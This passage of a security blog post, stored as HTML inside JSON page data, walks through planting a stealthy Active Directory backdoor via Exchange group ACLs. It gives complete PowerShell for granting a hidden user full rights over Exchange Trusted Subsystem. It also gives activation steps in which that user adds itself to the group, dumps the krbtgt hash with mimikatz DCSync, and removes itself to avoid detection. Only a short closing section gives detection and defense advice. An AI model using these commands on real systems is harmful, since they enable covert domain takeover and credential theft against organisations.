1: Directly add backdoor users to the three Exchange groups\u003C\u002Fh3>\u003Cp>Taking Exchange Trusted Subsystem as an example\u003C\u002Fp>\u003Cp>PowerShell commands are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Import-Module ActiveDirectory\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testa\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>However, this is not very stealthy and the added user can be easily detected\u003C\u002Fp>\u003Cp>The command to check is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Exchange Trusted Subsystem\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>Method 2: Only grant specific users control permissions over the ACLs of the three Exchange groups\u003C\u002Fh3>\u003Cp>Taking Exchange Trusted Subsystem as an example\u003C\u002Fp>\u003Ch4>1. First, find the DN (Distinguished Name) of Exchange Trusted Subsystem\u003C\u002Fh4>\u003Cp>Use the dev version of Powerview, available at:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FPowerShellMafia\u002FPowerSploit\u002Fblob\u002Fdev\u002FRecon\u002FPowerView.ps1\u003C\u002Fp>\u003Cp>The PowerShell command to view all DNs is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Import-Module .\\PowerView.ps1\u003Cbr>Get-DomainObject -Properties distinguishedname |fl\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The DN for Exchange Trusted Subsystem is: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\u003C\u002Fp>\u003Ch4>2. View the ACL of Exchange Trusted Subsystem\u003C\u002Fh4>\u003Cp>PowerShell command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-DomainObjectAcl -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>3. Obtain raw data of Exchange Trusted Subsystem\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$RawObject = Get-DomainObject -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" -Raw\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>4. Add full access permissions for backdoor user testb to Exchange Trusted Subsystem\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$RawObject = Get-DomainObject -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" -Raw\u003Cbr>$TargetObject = $RawObject.GetDirectoryEntry()\u003Cbr>$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty\u003Cbr>$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)\u003Cbr>$TargetObject.PsBase.CommitChanges()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Remove the backdoor user testb's full access permissions to Exchange Trusted Subsystem:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$RawObject = Get-DomainObject -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" -Raw\u003Cbr>$TargetObject = $RawObject.GetDirectoryEntry()\u003Cbr>$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty\u003Cbr>$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)\u003Cbr>$TargetObject.PsBase.CommitChanges()\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. View the SID of user testb\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-DomainUser testb\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017465111_5_5e60e02591-1.jpeg\">\u003C\u002Fp>\u003Cp>The objectsid of user testb is S-1-5-21-1672228480-1396590849-334771951-2105\u003C\u002Fp>\u003Ch4>6. View the ACE belonging to the newly added user testb\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Get-DomainObjectAcl -SearchBase \"LDAP:\u002F\u002FCN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com\" | Where-Object {$_.SecurityIdentifier -eq \"S-1-5-21-1672228480-1396590849-334771951-2105\"}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017480097_6_5cdda61a86-1.jpeg\">\u003C\u002Fp>\u003Cp>At this point, the backdoor installation is successful\u003C\u002Fp>\u003Cp>Now check the users in the Exchange Trusted Subsystem group:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Exchange Trusted Subsystem\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The backdoor user testb cannot be found\u003C\u002Fp>\u003Ch3>Backdoor activation method\u003C\u002Fh3>\u003Ch4>1. Log in as user testb on another host within the domain\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>echo 123456789 | runas \u002Fuser:test\\testb cmd\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Add user testb to Exchange Trusted Subsystem\u003C\u002Fh4>\u003Cp>Since user testb has full access permissions to Exchange Trusted Subsystem, it can add itself to the Exchange Trusted Subsystem group\u003C\u002Fp>\u003Cp>The PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\Microsoft.ActiveDirectory.Management.dll\u003Cbr>Add-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testb\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>3. Log in again as user testb\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>echo 123456789 | runas \u002Fuser:test\\testb cmd\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>4. Use mimikatz's DCSync function to export the hash of user krbtgt\u003C\u002Fh4>\u003Cp>cmd:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>mimikatz.exe privilege::debug \"lsadump::dcsync \u002Fdomain:test.com \u002Fuser:krbtgt \u002Fcsv\" exit\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Remove user testb from the Exchange Trusted Subsystem group\u003C\u002Fh4>\u003Cp>PowerShell command is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import-module .\\Microsoft.ActiveDirectory.Management.dll\u003Cbr>Remove-ADGroupMember -Identity \"Exchange Trusted Subsystem\" -Members testb -confirm:$false\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Since user testb has full access to Exchange Trusted Subsystem, they can repeatedly add or remove themselves from Exchange Trusted Subsystem\u003C\u002Fp>\u003Ch2>0x04 Detection and Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Fix from the root: Remove WriteDACL permission from Exchange Windows Permissions\u003C\u002Fp>\u003Cp>Reference script:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fgdedrouas\u002FExchange-AD-Privesc\u002Fblob\u002Fmaster\u002FDomainObject\u002FFix-DomainObjectDACL.ps1\u003C\u002Fp>\u003Cp>Log detection:\u003C\u002Fp>\u003Cp>Enable Advanced Security Audit Policy in Active Directory; when the ACL of a domain object is modified, log ID 5136 will be generated\u003C\u002Fp>\u003Cp>Reference materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblogs.technet.microsoft.com\u002Fcanitpro\u002F2017\u002F03\u002F29\u002Fstep-by-step-enabling-advanced-security-audit-policy-via-ds-access\u002F\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article documents the process of privilege escalation using specific ACLs in Exchange, analyzes the exploitation conditions, introduces a method for leveraging a privilege escalation backdoor in conjunction with this mechanism, and finally provides detection and defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",709,"Onedaysec",6,"published","2026-02-02T07:38:21.177Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Exchange Server ACL Exploit: Domain Privilege Escalation via DCSync","Exchange Server, privilege escalation, domain security, DCSync, ACL exploitation, Active Directory, Exchange Trusted Subsystem, Golden Ticket, PowerView, penetration testing",null,false,[],{"docs":43,"hasNextPage":40},[44,45,46,47,4],884,883,882,881,{"title":39,"description":39,"image":39},"2026-07-24T15:37:11.036Z","2026-07-23T16:02:14.412Z","draft","2026-07-23T16:15:19.024Z"]